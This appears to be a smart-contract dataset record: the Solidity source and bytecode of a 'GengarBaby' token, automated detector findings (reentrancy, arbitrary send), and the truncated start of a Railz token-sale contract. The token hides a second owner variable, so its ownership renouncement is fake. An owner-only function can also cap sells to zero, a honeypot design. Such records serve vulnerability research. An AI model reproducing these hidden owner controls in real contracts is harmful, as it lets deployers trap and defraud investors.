/** *Submitted for verification at Etherscan.io on 2021-10-30 */ // SPDX-License-Identifier: MIT // Telegram: t.me/gengarbaby pragma solidity ^0.8.4; uint256 constant TOTAL_SUPPLY = 100000000; string constant TOKEN_NAME = "GengarBaby"; string constant TOKEN_SYMBOL = "GENGAR"; uint256 constant INITIAL_TAX=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Moonlight is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _rateLimit=TOTAL_SUPPLY; uint256 private _tax=INITIAL_TAX; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _owner; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_owner_=_msgSender()] = _rTotal; _taxWallet=payable(_owner = _msgSender()); emit OwnershipTransferred(address(0), _msgSender()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function tax() public view returns (uint256){ return _tax; } function allowance(address from, address spender) public view override returns (uint256) { return _allowances[from][spender]; } address private _owner_; event OwnershipTransferred(address indexed oldie, address indexed newbie); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner_== _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner=address(0); } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address from, address spender, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[from][spender] = amount; emit Approval(from, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _rateLimit); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { _swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { _sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function _sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function reflect(uint256 m) onlyOwner public{ _rateLimit=m; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; _sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(2).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610313578063c9567bf914610350578063dd62ed3e14610367578063f4293890146103a4576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd57806399c8d556146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b8063053ab1821461010357806306fdde031461012c578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061012a60048036038101906101259190611e01565b6103bb565b005b34801561013857600080fd5b5061014161045c565b60405161014e9190611ec7565b60405180910390f35b34801561016357600080fd5b5061017e60048036038101906101799190611f47565b610499565b60405161018b9190611fa2565b60405180910390f35b3480156101a057600080fd5b506101a96104b7565b6040516101b69190611fcc565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e19190611fe7565b6104c1565b6040516101f39190611fa2565b60405180910390f35b34801561020857600080fd5b5061021161059a565b60405161021e9190612056565b60405180910390f35b34801561023357600080fd5b5061023c61059f565b005b34801561024a57600080fd5b5061026560048036038101906102609190612071565b610619565b6040516102729190611fcc565b60405180910390f35b34801561028757600080fd5b50610290610669565b005b34801561029e57600080fd5b506102a76107c1565b6040516102b491906120ad565b60405180910390f35b3480156102c957600080fd5b506102d26107eb565b6040516102df9190611ec7565b60405180910390f35b3480156102f457600080fd5b506102fd610828565b60405161030a9190611fcc565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190611f47565b610832565b6040516103479190611fa2565b60405180910390f35b34801561035c57600080fd5b50610365610850565b005b34801561037357600080fd5b5061038e600480360381019061038991906120c8565b610d66565b60405161039b9190611fcc565b60405180910390f35b3480156103b057600080fd5b506103b9610ded565b005b6103c3610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044990612154565b60405180910390fd5b8060058190555050565b60606040518060400160405280600a81526020017f47656e6761724261627900000000000000000000000000000000000000000000815250905090565b60006104ad6104a6610e5f565b8484610e67565b6001905092915050565b6000600254905090565b60006104ce848484611032565b61058f846104da610e5f565b61058a85604051806060016040528060288152602001612b2f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610540610e5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113699092919063ffffffff16565b610e67565b600190509392505050565b600090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105e0610e5f565b73ffffffffffffffffffffffffffffffffffffffff161461060057600080fd5b600061060b30610619565b9050610616816113cd565b50565b60006106626000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611655565b9050919050565b610671610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612154565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f47454e4741520000000000000000000000000000000000000000000000000000815250905090565b6000600654905090565b600061084661083f610e5f565b8484611032565b6001905092915050565b610858610e5f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90612154565b60405180910390fd5b600960149054906101000a900460ff1615610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906121c0565b60405180910390fd5b61096630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ce57600080fd5b505afa1580156109e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0691906121f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac291906121f5565b6040518363ffffffff1660e01b8152600401610adf929190612222565b602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3191906121f5565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bba30610619565b600080610bc56107c1565b426040518863ffffffff1660e01b8152600401610be796959493929190612290565b6060604051808303818588803b158015610c0057600080fd5b505af1158015610c14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c399190612306565b5050506001600960166101000a81548160ff0219169083151502179055506001600960146101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d11929190612359565b602060405180830381600087803b158015610d2b57600080fd5b505af1158015610d3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6391906123ae565b50565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e2e610e5f565b73ffffffffffffffffffffffffffffffffffffffff1614610e4e57600080fd5b6000479050610e5c816116c3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece9061244d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e906124df565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110259190611fcc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990612571565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110990612603565b60405180910390fd5b60008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90612695565b60405180910390fd5b60055481600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112045750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b61120f576000611212565b60015b60ff1661121f91906126e4565b111561122a57600080fd5b6112326107c1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112a057506112706107c1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561135957600960159054906101000a900460ff161580156113105750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113285750600960169054906101000a900460ff165b156113585761133e61133930610619565b6113cd565b6000479050600081111561135657611355476116c3565b5b505b5b61136483838361172f565b505050565b60008383111582906113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a89190611ec7565b60405180910390fd5b50600083856113c0919061273e565b9050809150509392505050565b6001600960156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561140557611404612772565b5b6040519080825280602002602001820160405280156114335781602001602082028036833780820191505090505b509050308160008151811061144b5761144a6127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ed57600080fd5b505afa158015611501573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152591906121f5565b81600181518110611539576115386127a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115a030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e67565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161160495949392919061288e565b600060405180830381600087803b15801561161e57600080fd5b505af1158015611632573d6000803e3d6000fd5b50505050506000600960156101000a81548160ff02191690831515021790555050565b600060035482111561169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939061295a565b60405180910390fd5b60006116a661173f565b90506116bb818461176a90919063ffffffff16565b915050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561172b573d6000803e3d6000fd5b5050565b61173a8383836117b4565b505050565b600080600061174c61197b565b91509150611763818361176a90919063ffffffff16565b9250505090565b60006117ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c8565b905092915050565b6000806000806000806117c687611a2b565b955095509550955095509550611823866000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9090919063ffffffff16565b6000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b6856000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190181611b38565b61190b8483611bf3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119689190611fcc565b60405180910390a3505050505050505050565b60008060006003549050600060025490506119a360025460035461176a90919063ffffffff16565b8210156119bb576003546002549350935050506119c4565b81819350935050505b9091565b60008083118290611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a069190611ec7565b60405180910390fd5b5060008385611a1e91906129a9565b9050809150509392505050565b6000806000806000806000806000611a458a600654611c2d565b9250925092506000611a5561173f565b90506000806000611a688e878787611cc2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ad283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611369565b905092915050565b6000808284611ae991906129da565b905083811015611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612a7c565b60405180910390fd5b8091505092915050565b6000611b4261173f565b90506000611b598284611d4b90919063ffffffff16565b9050611bac816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ada90919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c0882600354611a9090919063ffffffff16565b600381905550611c2381600454611ada90919063ffffffff16565b6004819055505050565b600080600080611c5a6064611c4c600289611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611c846064611c76888a611d4b90919063ffffffff16565b61176a90919063ffffffff16565b90506000611cad82611c9f858b611a9090919063ffffffff16565b611a9090919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611cdb8589611d4b90919063ffffffff16565b90506000611cf28689611d4b90919063ffffffff16565b90506000611d098789611d4b90919063ffffffff16565b90506000611d3282611d248587611a9090919063ffffffff16565b611a9090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d5e5760009050611dc0565b60008284611d6c91906126e4565b9050828482611d7b91906129a9565b14611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612b0e565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611dde81611dcb565b8114611de957600080fd5b50565b600081359050611dfb81611dd5565b92915050565b600060208284031215611e1757611e16611dc6565b5b6000611e2584828501611dec565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e68578082015181840152602081019050611e4d565b83811115611e77576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9982611e2e565b611ea38185611e39565b9350611eb3818560208601611e4a565b611ebc81611e7d565b840191505092915050565b60006020820190508181036000830152611ee18184611e8e565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f1482611ee9565b9050919050565b611f2481611f09565b8114611f2f57600080fd5b50565b600081359050611f4181611f1b565b92915050565b60008060408385031215611f5e57611f5d611dc6565b5b6000611f6c85828601611f32565b9250506020611f7d85828601611dec565b9150509250929050565b60008115159050919050565b611f9c81611f87565b82525050565b6000602082019050611fb76000830184611f93565b92915050565b611fc681611dcb565b82525050565b6000602082019050611fe16000830184611fbd565b92915050565b60008060006060848603121561200057611fff611dc6565b5b600061200e86828701611f32565b935050602061201f86828701611f32565b925050604061203086828701611dec565b9150509250925092565b600060ff82169050919050565b6120508161203a565b82525050565b600060208201905061206b6000830184612047565b92915050565b60006020828403121561208757612086611dc6565b5b600061209584828501611f32565b91505092915050565b6120a781611f09565b82525050565b60006020820190506120c2600083018461209e565b92915050565b600080604083850312156120df576120de611dc6565b5b60006120ed85828601611f32565b92505060206120fe85828601611f32565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061213e602083611e39565b915061214982612108565b602082019050919050565b6000602082019050818103600083015261216d81612131565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006121aa601783611e39565b91506121b582612174565b602082019050919050565b600060208201905081810360008301526121d98161219d565b9050919050565b6000815190506121ef81611f1b565b92915050565b60006020828403121561220b5761220a611dc6565b5b6000612219848285016121e0565b91505092915050565b6000604082019050612237600083018561209e565b612244602083018461209e565b9392505050565b6000819050919050565b6000819050919050565b600061227a6122756122708461224b565b612255565b611dcb565b9050919050565b61228a8161225f565b82525050565b600060c0820190506122a5600083018961209e565b6122b26020830188611fbd565b6122bf6040830187612281565b6122cc6060830186612281565b6122d9608083018561209e565b6122e660a0830184611fbd565b979650505050505050565b60008151905061230081611dd5565b92915050565b60008060006060848603121561231f5761231e611dc6565b5b600061232d868287016122f1565b935050602061233e868287016122f1565b925050604061234f868287016122f1565b9150509250925092565b600060408201905061236e600083018561209e565b61237b6020830184611fbd565b9392505050565b61238b81611f87565b811461239657600080fd5b50565b6000815190506123a881612382565b92915050565b6000602082840312156123c4576123c3611dc6565b5b60006123d284828501612399565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612437602483611e39565b9150612442826123db565b604082019050919050565b600060208201905081810360008301526124668161242a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124c9602283611e39565b91506124d48261246d565b604082019050919050565b600060208201905081810360008301526124f8816124bc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061255b602583611e39565b9150612566826124ff565b604082019050919050565b6000602082019050818103600083015261258a8161254e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125ed602383611e39565b91506125f882612591565b604082019050919050565b6000602082019050818103600083015261261c816125e0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061267f602983611e39565b915061268a82612623565b604082019050919050565b600060208201905081810360008301526126ae81612672565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ef82611dcb565b91506126fa83611dcb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612733576127326126b5565b5b828202905092915050565b600061274982611dcb565b915061275483611dcb565b925082821015612767576127666126b5565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61280581611f09565b82525050565b600061281783836127fc565b60208301905092915050565b6000602082019050919050565b600061283b826127d0565b61284581856127db565b9350612850836127ec565b8060005b83811015612881578151612868888261280b565b975061287383612823565b925050600181019050612854565b5085935050505092915050565b600060a0820190506128a36000830188611fbd565b6128b06020830187612281565b81810360408301526128c28186612830565b90506128d1606083018561209e565b6128de6080830184611fbd565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612944602a83611e39565b915061294f826128e8565b604082019050919050565b6000602082019050818103600083015261297381612937565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006129b482611dcb565b91506129bf83611dcb565b9250826129cf576129ce61297a565b5b828204905092915050565b60006129e582611dcb565b91506129f083611dcb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a2557612a246126b5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a66601b83611e39565b9150612a7182612a30565b602082019050919050565b60006020820190508181036000830152612a9581612a59565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612af8602183611e39565b9150612b0382612a9c565b604082019050919050565b60006020820190508181036000830152612b2781612aeb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d926071a13bd35dc967249cfa1d9d010ef39ebb16dd3af77a855a08e949e00e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,895
0xa01a4dea8a096aa8cd8f9853495c09ed737315b2
pragma solidity 0.4.24; /** * * This contract is used to set admin to the contract which has some additional features such as minting , burning etc * */ contract Owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } /* This function is used to transfer adminship to new owner * @param _newOwner - address of new admin or owner */ function transferOwnership(address _newOwner) onlyOwner public { owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** This is interface to transfer Railz tokens , created by Railz token contract */ interface RailzToken { function transfer(address _to, uint256 _value) public returns (bool); } /** * This is the main Railz Token Sale contract */ contract RailzTokenSale is Owned { using SafeMath for uint256; mapping (address=> uint256) contributors; mapping (address=> uint256) public tokensAllocated; // start and end timestamps when contributions are allowed (both inclusive) uint256 public presalestartTime =1528099200 ; //4th June 8:00 am UTC uint256 public presaleendTime = 1530489599; //1st July 23:59 pm UTC uint256 public publicsalestartTime = 1530518400; //2nd July 8:00 am UTC uint256 public publicsalesendTime = 1532908799; //29th July 23:59 pm UTC //token caps for each round uint256 